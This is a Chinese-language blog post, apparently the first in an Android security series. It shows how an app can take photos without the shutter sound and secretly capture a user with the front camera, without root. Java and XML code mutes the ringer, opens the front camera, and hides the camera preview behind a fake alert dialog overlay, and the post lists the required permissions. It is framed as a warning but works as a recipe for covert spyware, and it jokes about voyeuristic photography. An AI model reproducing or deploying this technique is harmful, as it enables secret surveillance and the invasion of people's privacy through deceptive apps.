android安全問題(一) 靜音拍照與被拍

導讀:

本文介紹了所謂的靜音拍照是如何實現的(當然這也是一種惡意軟件,只不過受害的不是用戶),和用戶自己如何被惡意軟件拍照的

 

由於iteye不允許偷和拍放到一起,所以……靜音拍照,大家懂的,靜音拍照?不就是……

今天的主題是靜音拍照與被拍

當然,這裏的“被拍”不是指你拿着手機在地鐵上深入女同學裙下的女同學(貌似日本人喜歡幹這種事情,自行百度其新聞)

這裏指的被拍是:你玩着玩着遊戲,突然前置攝像頭被惡意應用打開,然後咔嚓,然後……

 

想要實現這些功能,很遺憾,即是沒有root權限也可以

 

 

下面我們來說正題

首先說靜音拍照

其實也就是說靜音拍照嘛,怎麼實現?當然是先靜音再拍照了……最後記得恢復靜音前的狀態即可。

有的手機直接調解照相快門音量即可,但是沒有通用的api,似乎這種手機也很少(第三方的rom可能會有)

另一個辦法就是把手機調成靜音模式,然後拍照。不過也不是理想的,有些手機雖然調成了靜音模式,但是快門不靜音,就像鬧鐘不靜音一樣。

還有一些其他的靜音方式,這裏就不說了。如何把手機調成靜音?這個沒什麼技術含量,大家可自行百度。。。

 

Java代碼 複製代碼 收藏代碼
  1. mAudioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);   
  2. mAudioManager.setRingerMode(AudioManager.RINGER_MODE_SILENT);  

當然,你最好先記錄下用戶之前的模式

Java代碼 複製代碼 收藏代碼
  1. int ringerMode = mAudioManager.getRingerMode();  

這樣部分手機的靜音拍照就搞定了,比如我使用的g14(android 2.3)就可以達到靜音的目的了(所以說htc手機操蛋,現在及其反感htc)

 

下面說一下被拍

被拍呢,我會選擇前置攝像頭,玩手機的時候一般人不看手機屁股,因爲htc嘛

首先說一下android的攝像頭

前置攝像頭的通用api是在2.3纔開始有的,2.2及之前都需要靠反射調用,不過那時有前置攝像頭的android手機也很少

這裏我們以2.3爲基礎作爲演示

步驟:

0.僞裝

1.打開前置攝像頭

2.靜音+拍照+退出

3.保存

 

首先來看看如何調用前置攝像頭(當然,你得有前置攝像頭才行)

Java代碼 複製代碼 收藏代碼
  1. mCamera = openCamera(CameraInfo.CAMERA_FACING_FRONT);   
  2. public static Camera openCamera(int which) {   
  3.     return Camera.open(which);   
  4. }  

如果沒Camera不爲null,那麼就是成功了

 

最關鍵的是僞裝,android系統中,調用攝像頭必須要有預覽畫面才行,當然,這也是爲了安全

所以拍照時必須有一個窗口,也就是你玩着玩着遊戲的時候,突然彈出個窗口給你拍個大頭貼

用戶看到預覽畫面了,那傻子都知道他被人黑了,所以病毒不能這麼傻,它會給自己穿件外套

我做了一件粗糙的外套來給大家演示


當然這個外套比較爛,真正的病毒會做一個很精緻,並且比較常見的外套(這樣成功率纔會高,如果用戶手機根本沒有股票軟件,而我卻彈出這麼一個對話框,用戶再傻也會知道自己中毒了)

 

下面的操作,無論用戶點擊確定、取消還是back鍵,病毒都會拍一張照片然後保存,然後……

 

camera.xml對應的代碼

Xml代碼 複製代碼 收藏代碼
  1. <?xml version="1.0" encoding="utf-8"?>  
  2. <FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"  
  3.     android:orientation="vertical"  
  4.     android:layout_width="300dp"  
  5.     android:layout_height="150dp"  
  6.     android:background="@color/canvas_background">  
  7.     <LinearLayout  
  8.         android:layout_width="wrap_content"  
  9.         android:layout_height="wrap_content">  
  10.         <SurfaceView  
  11.             android:layout_width="wrap_content"  
  12.             android:layout_height="wrap_content"  
  13.             android:id="@+id/alert_camera"/>  
  14.     </LinearLayout>  
  15.     <include layout="@layout/fake"/>  
  16. </FrameLayout>  

fake.xml對應的代碼

Java代碼 複製代碼 收藏代碼
  1. <?xml version="1.0" encoding="utf-8"?>   
  2. <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"  
  3.     android:layout_width="fill_parent"  
  4.     android:layout_height="fill_parent"  
  5.     android:orientation="vertical">   
  6.     <!-- title -->   
  7.     <LinearLayout   
  8.         android:layout_width="fill_parent"  
  9.         android:layout_height="wrap_content"  
  10.         android:layout_weight="1"  
  11.         android:layout_gravity="center_vertical"  
  12.         android:background="@color/canvas_background">   
  13.         <ImageView   
  14.             android:layout_width="wrap_content"  
  15.             android:layout_height="wrap_content"  
  16.             android:layout_margin="10dp"  
  17.             android:src="@drawable/ic_dialog_alert"/>   
  18.         <TextView   
  19.             android:layout_width="wrap_content"  
  20.             android:layout_height="wrap_content"  
  21.             android:layout_marginTop="10dp"  
  22.             android:layout_marginBottom="10dp"  
  23.             android:id="@+id/alert_title"  
  24.             android:text="@string/alert_title"  
  25.             android:textSize="22sp">   
  26.         </TextView>   
  27.     </LinearLayout>   
  28.     <!-- line -->   
  29.     <!-- message -->   
  30.     <LinearLayout   
  31.         android:layout_width="fill_parent"  
  32.         android:layout_height="wrap_content"  
  33.         android:layout_weight="1"  
  34.         android:layout_gravity="center_vertical"  
  35.         android:background="@color/canvas_background">   
  36.         <TextView   
  37.             android:layout_width="wrap_content"  
  38.             android:layout_height="wrap_content"  
  39.             android:layout_margin="10dp"  
  40.             android:id="@+id/alert_message"  
  41.             android:text="@string/alert_message"  
  42.             android:textSize="18sp">   
  43.         </TextView>   
  44.     </LinearLayout>   
  45.     <!-- line -->   
  46.     <!-- button -->   
  47.     <LinearLayout   
  48.         android:layout_width="fill_parent"  
  49.         android:layout_height="wrap_content"  
  50.         android:orientation="horizontal"  
  51.         android:layout_weight="1"  
  52.         android:background="@color/button_background">   
  53.         <Button   
  54.             android:layout_width="wrap_content"  
  55.             android:layout_height="wrap_content"  
  56.             android:layout_weight="1"  
  57.             android:id="@+id/alert_ok"  
  58.             android:text="@string/alert_ok"/>   
  59.         <Button   
  60.             android:layout_width="wrap_content"  
  61.             android:layout_height="wrap_content"  
  62.             android:layout_weight="1"  
  63.             android:id="@+id/alert_cancel"  
  64.             android:text="@string/alert_cancel"/>   
  65.     </LinearLayout>   
  66. </LinearLayout>  

 ic_dialog_alert.png就是上圖顯示的歎號,在frameworks/base/core/res下面就有,複製出來一個就行

上面只是佈局代碼,我們的activity也需要做一些設置,比如在manifest裏要設置主題爲

Xml代碼 複製代碼 收藏代碼
  1. android:theme="@android:style/Theme.Dialog"  

在onCreate裏面要設置下面這些屬性,我就不一一解釋了

Java代碼 複製代碼 收藏代碼
  1. requestWindowFeature(Window.FEATURE_NO_TITLE);   
  2. Window window = getWindow();   
  3. window.setFormat(PixelFormat.TRANSLUCENT);   
  4. window.setType(WindowManager.LayoutParams.TYPE_SYSTEM_ALERT);   
  5. window.setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,   
  6.         WindowManager.LayoutParams.FLAG_FULLSCREEN);   
  7. setContentView(R.layout.camera);  

到這裏,關鍵的地方就都完成了

manifest中還需要配置一些權限

Xml代碼 複製代碼 收藏代碼
  1. <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />  
  2. <uses-permission android:name="android.permission.CAMERA" />  
  3. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>  

正常的拍照流程代碼網上很多,我也不貼了,最後附上的colors.xml文件吧

Xml代碼 複製代碼 收藏代碼
  1. <resources>     
  2.     <color name="button_background">#ffffff</color>  
  3.     <color name="canvas_background">#ffffffcc</color>  
  4. </resources>    
最後再說兩句,如果有了root權限,那麼病毒就可以替換快門聲的音頻文件,或者數據庫存儲指向快門聲音的Uri,這樣就能徹底的實現靜音拍照了

當然,你想靜音拍照別人,沒準你也被別人靜音拍照了,自重

 

 

android手機root後的安全問題 (一)

android手機root後的安全問題 (二)

android手機root後的安全問題 (三)

android手機root後的安全問題 (四)

 

 

android安全問題(一) 靜音拍照與被拍

android安全問題(二) 程序鎖

android安全問題(三) 釣魚程序

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章